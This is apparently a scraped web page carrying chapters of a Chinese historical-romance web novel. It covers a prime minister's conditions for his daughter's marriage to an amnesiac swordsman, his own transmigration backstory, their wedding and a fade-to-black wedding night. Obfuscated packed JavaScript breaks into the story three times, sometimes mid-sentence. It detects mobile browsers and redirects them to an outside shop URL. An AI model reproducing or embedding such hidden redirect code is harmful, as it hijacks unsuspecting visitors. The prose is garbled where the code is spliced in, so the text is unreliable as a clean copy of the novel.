“第二,我把话放在这里。 倘若将来,你做了对不起她的事或是因你的缘故让她陷入险境心寒绝望的话……” 他话音顿了顿,语气沉了下去,字字清晰: “那你们的孩子,长子,必须改姓林,归入我林家宗谱,继承家业。这是芊雅日后安身立命的根本,也是我林家必须留住的根。” 他说完,紧紧盯着叶英的反应。 这不是商量,是底线,是他在为女儿筹划最坏的退路。 叶英沉默了片刻,那张向来没什么表情的脸上,似乎掠过一丝极淡的了然。 他听懂了。这并不是羞辱,是一个父亲对女儿深深的爱和保障。 “可以。”他开口,声音平稳,“若真有那一日,是我无德无能,不配为父。孩子归宗林家,理所应当。” 林承泽心中略微一松。 能如此坦然接受这一条的人,要么是问心无愧,要么是决心已定。 他深吸一口气,说出最后也是最沉重的一条: “第三,若你日后恢复的记忆或你原本的身世,本身就是祸端会招来杀身之祸,牵连芊雅……我要你答应我,到时候立刻带她走。走得远远的,隐姓埋名再也不要回来。” 叶英缓缓站起身。他没有立刻回答,而是转向林承泽,郑重地行了一礼。 “林伯父,”他抬起头,那双灰蒙蒙的眸子没有焦距却仿佛能洞穿人心,“这三条,叶英今日以性命与剑心起誓,此生必守。” “娶她,护她,是我的本心,也是我的剑道。” “您为芊雅思虑至此,是父爱如山。这条退路,我认。” “至于未来风险……”他声音沉静,却带着斩铁截钉的决绝,“真有那一日,叶英纵然身死,也会先将她送到安全之地。天地可鉴,此誓不渝。” 林承泽坐在书案后,看着眼前这个白发如雪、眉眼如画的年轻人,看着他郑重起誓的样子,心里那股复杂的情绪终于缓缓沉淀下来。 他缓缓站起身,走到叶英面前,伸手,拍了拍他的肩膀。 “叶英,”他第一次叫了他的名字,声音很低却清晰,“记住你今日的话。雅儿……我就交给你了。” 叶英微微颔首:“必不负所托。” 林承泽没再说什么,只是转身走回书案后,重新坐下。 “拜堂的礼仪我已叫人准备好了,你先去换装吧。” 叶英应了一声:“是。” “下去吧。”林承泽挥了挥手。 叶英又行了一礼,转身,走出了书房。 门轻轻关上。 书房里重归寂静。 林承泽靠在椅背上,闭上眼,长长地、沉沉地,舒了一口气。 心里那块压了许久的大石,终于落了地。 他的雅儿,要嫁人了。 嫁给一个来历不明、记忆全无、却肯为她抗下生死,不顾性命的江湖剑客。 这条路,是对是错,他不知道。 他只知道,这是他能为女儿谋到的,最好的一条路。 至少,叶英肯应那三条约定。 至少,他肯以性命和剑心起誓。 至少……雅儿心里,是有这个人的。 至于未来会怎样,谁也不知道。 可人生在世,哪有万全之策? 不过是走一步,看一步,拼尽全力,护住最重要的人罢了。 林承泽睁开眼,看着窗外沉沉的夜色,眼神渐渐沉静下来。 但愿……一切顺利。 18. (林丞相过去卷) 这时,他靠坐着椅背忽然想起了自己穿越前的人生。 来这个世界,有三十年了吧? 他今年也四十六了。 没错,他是个穿越者。 在穿越之前,他还只是二十一世纪一个普通的工科大学生,也不过才刚刚十九、二十的年纪。结果一场车祸,醒来就来到了这个世界,穿到了这个落第秀才的身上。 原主姓林,名承泽,字文远。 家境贫寒,父母早亡,靠亲戚接济才勉强读了几年书,考中了秀才。 可后来屡试不第,亲戚也厌烦了,整日冷嘲热讽。原主一时想不开,投了河。 他醒来时,正泡在冰冷的河水里浑身湿透,冻得直打哆嗦。 他挣扎着爬上岸,躺在河滩上,看着头顶灰蒙蒙的天空,脑子里一片空白。 这是哪儿?他不是应该在医院吗? 然后,一股不属于他的记忆就涌进脑海——四书五经,八股文章,还有那些冷眼、嘲笑、绝望。 他愣了很久,才终于接受现实。 他穿越了。 穿到了一个和他同名同姓的落第秀才身上。 那之后,他花了好几天才缓过来。 然后他做的第一件事,就是收拾了那家刻薄的亲戚——没用什么激烈的手段,只是写了封状子,把这些年他们如何侵占田产、克扣银钱的事一一列明,递到了县衙。 县太爷看了状子,又查了账,判亲戚把侵占的田产还回来,还赔了他一笔钱。 他拿着那笔钱,离开了那个小镇,去了府城。 他知道,在这个时代,想活得好,只有一条路——科举。 好在他穿越前刚高考完没多久,那些古文、历史、政治,脑子里还记得七七八八。再加上原主本身就有秀才功底,他学起来不算太难。 可光有学问不够,还得有人引荐。 他打听到府城有位隐居的大儒,学问极好,只是脾气古怪,不收学生。他便去先生家门口跪了三天,不吃不喝,只求拜师。 第三天傍晚,何先生终于开了门,看了他一眼,说:“你倒是执着。” 他那时已经跪得头晕眼花,只勉强撑着说:“学生只想读书。” 何先生没说话便转身进了屋。过了一会儿,一个小童出来,扶他进去,给他端了碗热粥。 他就这样拜了师,在何先生门下学了五年。 那五年,他几乎是拼了命地学。每天早上天不亮就起床,读书,写字,背文章,一直到深夜。何先生教得严,他也学得认真。渐渐地,那些四书五经史策时务,他都能信手拈来。 何先生有时看着他,会感叹:“你若是早生二十年,必是状元之才。” 他只是笑笑,没说话。 他心里清楚,他能学这么快,不光是因为努力,还因为他脑子里那些不属于这个时代的东西——那些逻辑思维,那些破题方法,那些看问题的角度。 五年后,何先生说:“你可以去试试了。” 他便收拾行李,准备进京赶考。 临行前,何先生把他叫到书房,给了他封书信,说:“我在京城有个不成器的儿子,在户部当差。你到了京城,若遇到难处,可以去找他。” 他接过信,郑重道谢。 到了京城,他按地址找过去,才发现何先生的“不成器的儿子”,居然是当朝的户部尚书,何晋渊。 何尚书看了信,又考了他几道策论,点点头说:“父亲眼光不错。你便先住下吧,好好准备明年的春闱。” 他便在何府住了下来。 那时何尚书有个独女,年方十六身子不太好,便常年养在深闺。 他偶尔在院子里碰见过她几次,远远的看不清脸,只看见一身素色衣裙纤瘦得像风一吹就倒。 何尚书有时会跟他提起女儿,说:“我这女儿,性子静,身子弱,以后……怕是难找婆家。” 他听着却没接话心里明镜似的。何尚书留他在府里,又这么照顾他,除了看中他的才华,恐怕也有招婿的意思。 他那时其实没想那么多。 穿越到这个世界十年了,他早就认清了现实。 在这里,没有家世背景,想往上爬太难了。何尚书看中他的才华,想招他为婿,他也需要一个靠山。 这桩婚事与其说是姻缘,不如说是一场各取所需的交易。 所以当何尚书正式提出时,他也没抗拒,只说:“全凭大人做主。” 何尚书便立了约定:若他能考中乡试前三成为举子就将女儿嫁给他。 后来春闱放榜,他考了解元。 何尚书很高兴便当即定了婚期。 成亲那天,他穿着大红喜袍,站在何府的厅堂里,等着见自己未来的妻子。他没见过她,只知道她是户部尚书的独女,身子不太好,性子温婉。 他那时心里其实没什么波澜。直到洞房里,他掀开盖头,第一次看清她的脸——清秀,苍白,眼睛很大正羞怯地看着他,像只受惊的小鹿。 她小声说:“夫君。” 声音很轻,带着千金小姐特有的软糯。 他应了一声心里却没什么感觉。 那时他想,就这样吧。 相敬如宾,各取所需,日子总能过下去。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224183|197544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 可后来,一切都变了。 他慢慢喜欢上她,喜欢她的安静,喜欢她的温柔。他们有了雅儿,有了一个家。他一步步往上爬,从翰林院编修,到侍郎,到尚书,最后到宰相。 她一直陪着他,在他熬夜看公文时送来热汤,在他为朝事烦心时安静地陪着他。 他们话不多,可彼此都懂。 雅儿出生后,她身子更差了,或许还是当年生孩子的时候留下的病根,可还是强撑着打理家务照顾女儿。他说请几个丫鬟婆子,她却总说不用,自己能行。 她走的那天,握着他的手,气若游丝,说:“夫君……雅儿……就拜托你了。” 他点头,说:“你放心。” 她看着他,眼泪顺着眼角滑下来,浸湿了枕头。她说:“我这辈子……最幸运的事……就是嫁给你。” 他喉咙哽得发疼,却一个字也没说出来。 她闭上眼就再也没睁开。 那之后,他一个人把雅儿拉扯大。没再续弦,也没纳妾。外头有人说他情深义重,也有人说他是顾忌相府嫡女,怕续娶的夫人苛待了女儿。 他知道,两者都有。 可他更知道,他心里已经装不下别人了。 这三十年,他从一个落第秀才,爬到今天的宰相。 什么风浪没见过?什么阴谋没经历过?他以为自己已经够强了,强到能护住自己想护住的一切。 可到头来,他还是护不住自己的女儿。 刘家一次算计,南安王府一次退婚,就把雅儿逼到了绝境。而他这个当朝宰相,居然束手无策,只能眼睁睁看着女儿名声尽毁,看着她手腕上留下那么深一道疤。 林承泽想到这儿,心里那股无力感又涌了上来。 他做官三十年了。 从一个小小的秀才,爬到今天的宰相,他以为自己已经够强了。 可到头来,他还是护不住自己的女儿。 书房外传来轻轻的敲门声。 “老爷,吉时快到了。”管家的声音传来。 林承泽回过神,应了一声:“知道了。” 他站起身,整理了一下衣袍,推门走了出去。 外面锣鼓喧天,喜气洋洋。 可他知道,这场婚事,与其说是喜事,不如说是一场豪赌。 赌叶英的人品,赌他的决心,赌他会不会辜负雅儿。 也赌他自己的眼光,赌他这三十年看人的本事,到底准不准。 他深吸一口气,迈步朝前厅走去。 那里,他的女儿,即将嫁给一个她喜欢的人。 但愿……一切顺利。 19. 相逢已是上上签 婚礼是从午后才开始的。 按照惯例,招亲接绣球之后,婚事便该提上日程。但林承泽却有意把流程简化了,省去那些繁文缛节,只在相府内设了简单的仪式。一来是女儿身体还没好全,经不起折腾;二来,这场婚事本就不是寻常嫁娶,太过张扬反倒惹人猜疑。 叶英被引到偏厅换装。 丫鬟捧来喜服,是正红色的锦缎,上面用金线绣着祥云龙凤的纹样,领口袖口都镶着精致的滚边。料子倒是极好,针脚也细密,一看就是临时赶制却又不失体面。 他接过衣服,指尖触到光滑的缎面,动作顿了顿。 红色。 他虽然已经失忆,不再记得过往,却总觉得过去的自己似乎穿红色也不多。如今要换上这身刺眼的红,心里竟也生出些陌生感。 “叶公子,请更衣。”丫鬟在旁边轻声提醒。 叶英点点头,也没多说,拿着衣服进了里间。 喜服穿在身上有些紧,肩膀和腰身都收得恰到好处,倒像是比着他的尺寸做的。他系好腰带,抚平衣襟,站在镜前看了看。 镜子里的人白发如雪,一身大红,额角那点梅花印在红色映衬下,红得却更深了些。眉眼也还是那副眉眼,只是平日里那股疏冷的气质,被这身喜服冲淡了些,反倒多了几分……烟火气。 他看了片刻,便转身推门出去。 外面已经热闹起来了。 相府里里外外挂满了红绸,廊下贴着喜字,仆役们穿梭往来,脸上也都带着笑。虽然请的宾客不多,可该有的排场却一样没少。 林承泽站在正厅门口,见他出来,上下打量了一眼,便点点头。 “走吧。” 叶英跟着他往前走,穿过庭院,来到正厅。 厅堂布置得喜气洋洋,正中摆着香案,上面供着天地牌位,两旁点着龙凤红烛。宾客不多,都是林承泽的门生故旧,或朝中几个走得近的同僚。他们看见叶英进来,目光都集中在他身上,有打量,有好奇,也有些不解。 叶英面色如常,走到厅中站定。 很快,另一边的门也开了。 林芊雅被春华扶着,慢慢走了进来。 她也换上了嫁衣。凤冠霞帔,大红盖头,一身绣着金线鸾凤的嫁衣,衬得她身形愈发纤瘦。她走得很慢,步子有些不稳,春华在她身侧紧紧搀着,小声提醒她注意脚下。 林承泽看着她走过来,眼神复杂。 他的雅儿,要嫁人了。 他看着女儿走到叶英身边,两人并肩站在香案前。一个白衣胜雪,一个红衣如火;一个挺拔如松,一个纤弱如柳。明明站在一起,却像两个世界的人。 可偏偏,又是彼此最合适的人。 林承泽深吸一口气,压下心里的万千思绪,走上前,主持仪式。 “一拜天地——” 叶英转过身,面向厅外的方向,躬身行礼。 林芊雅也跟着转身,盖头随着动作轻轻晃动。她动作有些慢,像是没力气,可还是弯下了腰。 “二拜高堂——” 两人转过身,对着林承泽行礼。 林承泽站在那里,看着女儿和女婿朝自己躬身,喉咙忽然哽了一下。 他想起当年自己成亲时,也是这样拜高堂。那时他父母早亡,高堂之上坐的却是岳父岳母。周尚书看着他,眼神里有欣慰,也有托付。他那时不懂那眼神的深意,现在却懂了。 为人父母,最难的或许就是把孩子交出去的那一刻。 “夫妻对拜——” 叶英转过身,面向林芊雅。 林芊雅也转过身,隔着盖头,她能感受到对面那道目光。沉静,专注,带着一种她说不清的郑重。 两人同时躬身。 她的凤冠很重,弯腰时差点掉下来。春华在旁边眼疾手快地扶了一把,才没出岔子。 仪式很简单,拜完堂,就算礼成了。 林承泽说了几句场面话,感谢宾客前来,然后便让春华扶着女儿回新房。叶英被留下来,陪宾客喝了几杯酒。 说是喝酒,其实也就是意思一下。 在座的都是人精,谁看不出这场婚事的微妙? 一个当朝宰相的独女,嫁一个来历不明记忆全无的江湖剑客,还是以招亲的方式。这里头的水有多深,没人敢问,也没人敢多说。大家心照不宣地举杯,说几句吉祥话,便各自散了。 新房的门被轻轻带上,最后一点脚步声也远去了。 林芊雅独自坐在床沿,手里攥着嫁衣宽大的袖口,指尖有些发凉,手心却隐隐冒汗。头上那顶凤冠实在太重了,压得她脖颈发酸,眼前那片晃动的红色盖头更是把什么都挡住了,只剩一片朦胧的光影。 她轻轻吸了口气,又缓缓吐出来,想让自己镇定些。 可心跳还是快,一下一下,撞得胸口发闷。 这屋里太静了,静得她能听见自己呼吸的声音,还有窗外偶尔传来的远远的喧闹余音。那些来喝喜酒的宾客大概还没全散,可这院子深处的新房,却像被隔在了另一个世界。 她说不清楚自己现在到底是个什么心情。 高兴吗?好像没有。可要说难过,似乎也不至于像被人剜了心那样疼。更多的倒是一种空,一种悬在半空脚下没根的恍惚。 事情走到这一步,她已经没有退路了。 从她点头答应父亲“榜下捉婿”那一刻起,从她穿上这身嫁衣被春华扶着走过庭院那一刻起,从她和那个连面都没见过的“新郎”拜了天地那一刻起——她就已经是别人的妻子了。 一个陌生人的妻子。 往后几十年,她都要和这个人绑在一起,住在一个屋檐下,睡在一张床上,生儿育女,白头偕老。 可这个人是谁?长什么样子?性子如何?喜欢什么?讨厌什么?她一概不知。 父亲说挑的是个新科举子,家世清白,学问扎实,人也稳重。可这些词太模糊了,模糊得拼不出一张具体的脸。 林芊雅忽然想起叶英。 想起他在溶洞里高烧昏迷时滚烫的额头,想起他短暂清醒时那双灰蒙蒙没有焦距却仿佛在“看”她的眼睛,想起他最后离开时那句平静的“知道了”,还有破庙里那身刺眼的红嫁衣,和那句干巴巴的“新婚大喜”。 心脏猛地抽痛了一下。 她用力咬住嘴唇,把那股突然涌上来的酸涩狠狠压下去。 不能想。 现在还想这些做什么?事到如今,她和他之间,早就隔了千山万水,隔了她亲手划下的那道界线。 她把他推走了,用最决绝的方式。现在她要嫁给别人了,这是她自己选的路,也是她必须走的路。 至于心里那点不该有的念想……就当是一场梦吧。 一场短暂、温暖、却终究要醒的梦。 林芊雅垂下眼,盯着自己紧紧交握的手指。指甲修剪得很整齐,涂着淡淡的凤仙花汁,在红嫁衣袖口的映衬下,显得有些苍白。 她不知道自己在等什么。 等那个“新郎”进来?等那根玉如意挑起盖头?等第一眼看见自己未来夫君的模样? 还是……在等一个不可能的奇迹? 她不知道。 脚步声就是在这时候响起来的。 很轻,不紧不慢,由远及近,踏在廊下的石板地上,一步步朝新房这边走来。 林芊雅背脊下意识挺得更直了,连呼吸都屏住了。 那脚步声……有点熟悉。 可她又想不起来在哪里听过。也许是今天在前厅拜堂时,他走在她身边时的脚步声?还是更早之前…… 她脑子里乱糟糟的,心跳得更快,几乎要撞出胸口。 右手不自觉地攥紧了袖口,布料在掌心皱成一团。 门被推开了。 吱呀一声轻响,带进来一丝夜晚微凉的空气,还有一股淡淡的清冽的酒气。 林芊雅浑身都绷紧了,手指死死掐进掌心,疼得她一个激灵。 不能慌。她对自己说。不管来的是谁,不管长什么样,从今往后,他就是你的夫君。你要端庄,要得体,要……像个合格的妻子。 她感觉到有人走了进来,停在了她面前。 很近。 近得她能感觉到对方身上的温度,还有那股混杂着酒气的干净清冽的气息。 然后,她听见一个声音。 很低,很平静,带着一丝她熟悉的却从未在此情此景下听过的温和: “久等了。” 林芊雅整个人僵住了。 这声音…… 她猛地抬起眼,视线却被盖头挡住,什么也看不见。可那声音像一把钥匙,猝不及防地捅开了她心里某扇紧闭的门。 不……不可能…… 她喉咙发干,想说点什么,却一个字也挤不出来。 然后,她感觉到有什么东西轻轻探到了盖头下方,是一柄玉如意的尖端。凉凉的,滑滑的,碰触到她下颌的皮肤时,激起一阵细微的战栗。 盖头被缓缓挑了起来。 眼前的红色一点点褪去,烛光涌进来,有些刺眼。林芊雅下意识眨了眨眼,视线从模糊到清晰,一点点向上—— 首先看到的是一身大红的喜服,衣襟上用金线绣着繁复的纹样。然后是一截修长的脖颈,线条清晰的下颌,再往上…… 是那张脸。 白发用一根红玉簪整整齐齐束在头顶,几缕碎发垂在颊边。肤色冷白,眉目如画,右额角那点梅花印记在烛光下红得惊心。 而那双眼睛—— 那双总是灰蒙蒙没有焦距、让她以为永远看不见的眼睛,此刻正清晰地、深深地,望着她。 林芊雅像是被人施了定身咒,整个人都凝固了。 她张了张嘴,喉咙里却只挤出一个破碎的、颤抖的音节: “你……?” 眼泪毫无预兆地涌了上来,模糊了视线。她死死盯着那双眼睛,像是要确认这不是幻觉,不是梦。 下一瞬,眼泪直直掉下来。 没有声音,没有抽泣,就那么安静地、汹涌地往下淌。 “原来是你……” 她听见自己说,声音哑得厉害,带着一种连她自己都不敢相信的如释重负的哽咽。 叶英还握着那柄玉如意。 他原本在盖头掀起时,第一眼看见的,是她今晚的模样。 他一直知道她生得好。在溶洞里意识模糊时瞥见的那一眼,只记住了那双亮得惊人的眼睛。后来他看不见了,就只能靠记忆和想象去勾勒她的样子。 可他没想到,真正看见时,会是这样的。 凤冠霞帔,一身大红。唇不点而朱,眉不画而黛,平日里苍白的脸颊被烛光和喜服映得有了血色。明明年纪还小,眉眼间还带着些许未褪的稚气,可那份清丽如画的气质,在今晚这身装扮下,竟透出一种惊心动魄的、娇艳又脆弱的美。 他怔了一瞬。 可这怔愣只持续了短短一息。 因为他紧接着就看见,她在哭。 眼泪像断了线的珠子,一颗接一颗往下掉,可她却不发出一点声音,只是睁着那双湿漉漉的眼睛望着他,眼神里有震惊,有不敢置信,有委屈,还有一种……他终于看懂了的、深埋已久的倾慕。 叶英的心像是被什么东西狠狠揪了一下。 他原本以为,她哭是因为看见他的眼睛能看见了,或者是气他自作主张抢了绣球,违背了她“告别”的意思。 可那句“原来是你”里透出的颤抖、那种近乎绝望后突然见到曙光的哽咽,让他瞬间明白了什么。 无数画面在他脑子里飞快闪过—— 破庙那个黄昏,她穿着红嫁衣站在他面前,说“我三日后便要成亲了”。她说“今日之后,你我便再不宜相见了”。他当时心里那股莫名的闷,和那句干巴巴的“预祝小姐新婚大喜”…… 他当时真是太傻了。 明明听见了嫁衣拖拽时珠玉碰撞的脆响,明明感觉到她语气里那股强撑的平静下的颤抖,可就因为没看见,因为他以为她心里另有其人、是来跟他这个“过客”做最后的了断——他竟然就真的信了。 他竟从未将她那日的打扮,和“新娘子”联系起来。 只因为她那样出现在他面前,他就以为她要嫁给别人,以为她那些若即若离的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“我……”她想说点什么,可喉咙像被什么堵住了,眼泪又涌上来,掉得更凶。 “我不知道。”叶英看着她,语气郑重起来,“我不知道你竟然不知道新郎是我。若是我早知道你不知道……” 他停顿了一下,像是在斟酌词句,又像是单纯地被自己这句绕口令般的话弄得有些无奈。 “若是我早知道你不知道,”他看着她,一字一句,清晰地说,“那时候就会告诉你——” “接绣球的人,是我。” “要娶你的人,是我。” “从溶洞里背着你走出来的那一刻起,我心里,就没想过第二种可能。” 林芊雅的眼泪流得更凶了。 她想说“你骗人”,想说“你明明在破庙还祝我新婚大喜”,想说“你那时候为什么不说”……可所有的话都堵在喉咙里,最后只化成更汹涌的泪水,和一声压抑的委屈的抽泣。 叶英看着她哭得肩膀都在抖的样子,心里那点疼又漫了上来。 他轻轻叹了口气,伸手,把她搂进怀里。 动作很自然,像做过千百遍一样。手臂环过她纤细的腰身,另一只手抚上她的后背,轻轻拍着,像在安抚一只受惊的小动物。 林芊雅僵硬了一瞬,随即整个人都软了下来。 她太累了。 这些日子以来,算计刘家,应对流言,在父亲面前强撑镇定,在破庙里心灰意冷地告别……她绷得太紧,撑得太辛苦。 现在突然松懈下来,才发现自己早就筋疲力尽。 她把脸埋进他颈窝,眼泪浸湿了他喜服的衣领。 叶英抱紧她,下巴轻轻抵在她发顶。凤冠硌得他有些不舒服,可他没动。 “芊雅,”他第一次这样叫她的名字,声音很低,却清晰得如同耳语,“没有别人。从来,都只有我。” “现在红烛为凭,天地为证,”他顿了顿,语气郑重得像在起誓,“此言,绝不虚假。” “以后不管风雨还是荣华,叶英,愿与你同担。” 他稍稍松开她一些,低头看着她泪眼朦胧的脸,伸手替她擦掉颊边的泪痕。 “以后,我会保护你。”他看着她的眼睛,认真地说,“你又是否可以……多相信我一点呢?” 林芊雅的眼泪又涌了出来。 可这次不一样。不再是委屈,不再是绝望,而是一种沉甸甸的、几乎让她承受不住的安心和……喜悦。 她抬起微微发抖的手,轻轻回抱住他。手臂环过他的腰,把脸更深地埋进他怀里,像终于找到了可以停靠的港湾。 “……你之前在破庙……”她声音闷闷的,带着浓重的鼻音,“还祝我新婚大喜……” 叶英身体微僵,随即低低笑了。 笑声透过胸腔传来,震得她耳朵发麻。 “是我的错。”他承认得很干脆,手臂收得更紧些,“那时候只以为你心里有别人,不想叫我为难,才说了那样的傻话。” 他稍稍退开一点,低头看着她的眼睛。那双总是平静无波的灰眸,此刻盛着跳动的烛光,和她的影子。 “那现在……”他轻声问,语气里带着一丝小心翼翼的试探,“我把那句话收回来,还来得及吗?” 林芊雅望着他,望着他眼底那片清晰的、毫不掩饰的温柔和郑重。 她吸了吸鼻子,眼泪还挂在睫毛上,却慢慢慢慢地,绽开一个极浅极浅的笑。 然后,她轻轻点了点头。 很轻的一个动作,却像用尽了她所有的勇气。 叶英不再多说。 他低头,吻上她的眼皮,吻掉那些未干的泪痕。动作很轻,像羽毛拂过,带着一种珍而重之的小心翼翼。 然后,他的唇缓缓下移,覆上了她的。 这是一个迟来的吻。 也是一个确认的吻。 温柔,却坚定,带着某种一往无前的决心,和许下一生的郑重。 林芊雅闭上眼睛,眼泪又滑了下来,可这次,是暖的。 窗外,月色正好。 20. 但……他觉得很好 叶英手臂环过来时,林芊雅才真切地感受到两人身量的差距。 她坐在床沿,头顶却也才到他胸口位置。被他整个圈进怀里时,脸便只能埋在他颈窝处了。 他身形看着修长,可真正抱住时,她才发觉那看似单薄的骨架下竟也藏着内敛的力量。手臂结实,胸膛宽阔,便将她完全笼住了。 叶英低头吻她时,她也不得不微微仰起脸。 他一只手便托在她后颈处,力道温和却也不容拒绝地固定着她的位置。 “重不重?”叶英稍稍退开些,低声问道。 林芊雅愣了一下,才反应过来他是在问那凤冠。她轻轻摇头:“还、还好……” 其实很重,压得她脖子都酸了。本来丫鬟早该替她取下的,可新婚之夜自己动手似乎又有些失礼,她便一直忍着。 叶英却像是看出来了。 他松开环在她腰后的手,抬起来小心地探向她发顶。指尖碰到那些繁复的金饰和珠串时顿了顿。他虽刚复明不久,对这等精细物件还不算太熟稔,但动作却依旧稳当。他摸索着找到固定的簪子,便慢慢抽了出来。 林芊雅僵着不敢动。她能感觉到他的手指偶尔擦过她的发丝,碰到她的头皮。那触感很轻,却带着一种陌生的亲密,让她耳根都发起热来。 凤冠终于被取了下来。叶英随手将它放在旁边的妆台上。 少了那沉重的负担,林芊雅下意识便松了口气。可这轻松只持续了一瞬——因为叶英的手又回来了,这回直接便抚上了她的后颈。 掌心温热,指腹带着薄茧,轻轻摩挲着她颈后细腻的皮肤。 林芊雅浑身一颤,呼吸便都乱了。 叶英没等她回答。他重新低下头,吻了上来。这次便带着一种压抑已久的、不容置疑的占有意味。 林芊雅被吻得呼吸不畅,下意识想往后躲,可身后却就是床柱,退无可退。他的手稳稳托着她,另一只手不知何时已经解开了她嫁衣最外层的系带。 动作不紧不慢,却精准得让她心惊。 层层叠叠的嫁衣便被他一层层耐心地剥开。大红的外袍,绣着金线鸾凤的霞帔,繁复的腰带……一件件滑落,便堆在了床沿。 林芊雅能感觉到自己暴露在空气中的皮肤越来越多,微凉的空气激得她起了一层细小的战栗。可紧接着,他温热的掌心覆上来,便驱散了那点凉意。 她身上只剩一件贴身的素色中衣时,叶英终于停了下来。 他稍稍退开些,借着烛光看她。 她太娇小了,被他圈在怀里,仿佛能被完全笼罩。这竟是他第一次真正看见她的模样。 并非时下推崇的明艳夺目之美,而是清丽如远山含黛,气质如莲,却也带着挥不去的病弱气,但仪态端静,是世家仔细教养出的模样。 他却不知旁人如何看,但……他觉得很好。 倒不是因为容貌如何才觉得很好,而是因为她是林芊雅,是他的妻子,所以他看着便觉得好。 他想起溶洞里,她背着他一步步往外挪时的样子。那时她也是这样瘦弱,却撑着他大半的重量。当时他虽看不见,却能感觉到她的颤抖和坚持。 他心里那点灼热的冲动,忽然便掺进了一丝实实在在的心疼。 他重新低下头,吻了吻她的额头,然后是鼻尖,最后落在唇上。动作很轻,倒像在安抚。 “怕吗?”他低声问道。 林芊雅望着他近在咫尺的脸,望进他那双此刻清晰映着自己影子的灰眸里。 她轻轻摇了摇头。 不是不怕。 陌生亲密的触碰,未知的一切,都让她本能地紧张。但比起这些,此刻心里更多的却是一种终于落地的踏实,还有一种近乎奢侈的喜悦,兜兜转转,险死还生,最后红烛下的人竟是叶英。 这便够了。 叶英看着她眼里的依赖和信任,便没再问。 他只是重新吻住她,动作比刚才却更温柔了些。 …… 红烛燃了半截。 林芊雅累极了,眼皮沉得抬不起来。 她被叶英整个圈在怀里,手臂环在她腰间,下巴抵在她发顶。她的脸贴着他胸口,便能听见他平稳有力的心跳。 意识将沉未沉时,她忽然含糊地问道:“你的眼睛……什么时候能看见了?” 叶英轻轻抚着她后背的手顿了顿。 “今天早上。”他低声答道,“醒来时,忽然便能感知到光了,之后渐渐清晰起来。”他却没有提溶洞里那个短暂模糊的瞬间,那时她鬓发散乱,脸颊沾着污迹,唯有眼睛亮得惊人。他想,她或许也并不愿让他看见那般狼狈的模样,便也按下不提。 林芊雅“哦”了一声,便没再问。 她其实还有很多话想说,很多问题想问,可身体实在倦极了,思绪也渐渐混沌。 重要的是,他在她身边。是她名正言顺的夫君。 这便够了。 她往他怀里又蹭了蹭,找到一个更舒服的位置,便沉沉睡去。 叶英感受着怀里渐渐均匀的呼吸,低下头,在她发顶轻轻印下一个吻。 林芊雅的呼吸均匀绵长,温热的气息便轻轻拂过他的颈侧。 叶英闭着眼,却没有睡意。 手臂环着的重量,怀中真实的体温,都在无声地确认一个事实——他不再是无处落脚的浮萍了。 这个认知让他心里稍感安定,却也让他的内心更复杂了。 不对劲。 这感觉却并非始于此刻。 从他带着满身伤和空荡荡的脑袋离开济世堂,踏入街头的那一刻起,一种难以言喻的隔阂感就如影随形。 起初他以为是记忆缺失导致的陌生。但很快他发现,问题或许不在于他,而在于这个世界本身。 医馆的陈老大夫心肠不坏,但总爱絮叨些街头巷尾的新奇事。 什么王家小子跳了崖,不但没死,反而捡到了武林秘籍,如今已是年轻一辈的翘楚;或是李员外家那位庶出的小姐,前些日子投了湖,救起来后却像换了个人,诗词歌赋、经商算账无一不精,如今把嫡出的姐姐都比下去了。 老大夫说得眉飞色舞,仿佛这些都是真真切切、精彩绝伦的人生。 叶英也只是沉默地听着。 跳崖不死反得机缘?他摸了摸自己身上还未痊愈的伤处。他依稀记得坠海时那种筋骨欲裂、冰冷窒息的绝望感,那是实打实的与死亡擦肩而过的痛楚。所谓的机缘,听起来轻飘得像话本里的桥段。 至于投湖醒来自通百艺……他更觉得荒谬。人的学识、心性,岂是落一次水就能凭空得来的? 这些念头模糊,他也无从验证,只当是自己多心。 真正让他感觉古怪的,是后来在街上的亲眼所见、亲耳所闻。 他曾站在街边一个面摊旁,要了碗素面。还没动筷,就听见隔壁桌几个短打扮的汉子,正热火朝天地争论。 一个说:“要我说,昨日悦来客栈那出英雄救美才叫精彩!赵公子那纨绔,调戏卖唱女,郭少侠从天而降,三招两式就把他那些狗腿子打趴下了!真叫一个痛快!” 另一个嗤之以鼻:“你那算什么?前儿个西市才热闹!刘家恶霸强占田产,逼得老农要上吊,关键时刻,一位路过的高僧只念了句佛号,那恶霸就当场痛哭流涕,悔过自新,当场把地契还了!这才叫真佛法无边!” 他们的对话流畅激昂,细节丰富,情绪饱满。 可叶英听着,总觉得哪里不对。不是内容不对,而是像戏台上的折子戏,每个人都在恰到好处的时间念着预设好的台词,上演着观众期待的剧情。 太整齐了。整齐得不像生活,倒像排练好的戏码。 这种无处不在的戏感,让他感到一种深切的疏离。 他尝试着打听过藏剑山庄,打听过叶姓的武林世家,甚至描述过自己模糊记得的剑招特点。 得到的回应,要么是茫然摇头,要么就是被引向那些茶楼里流传的、听着就更像故事的传奇之中,与他心中那点微薄的印象毫无关联。 他像个走在雾里的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 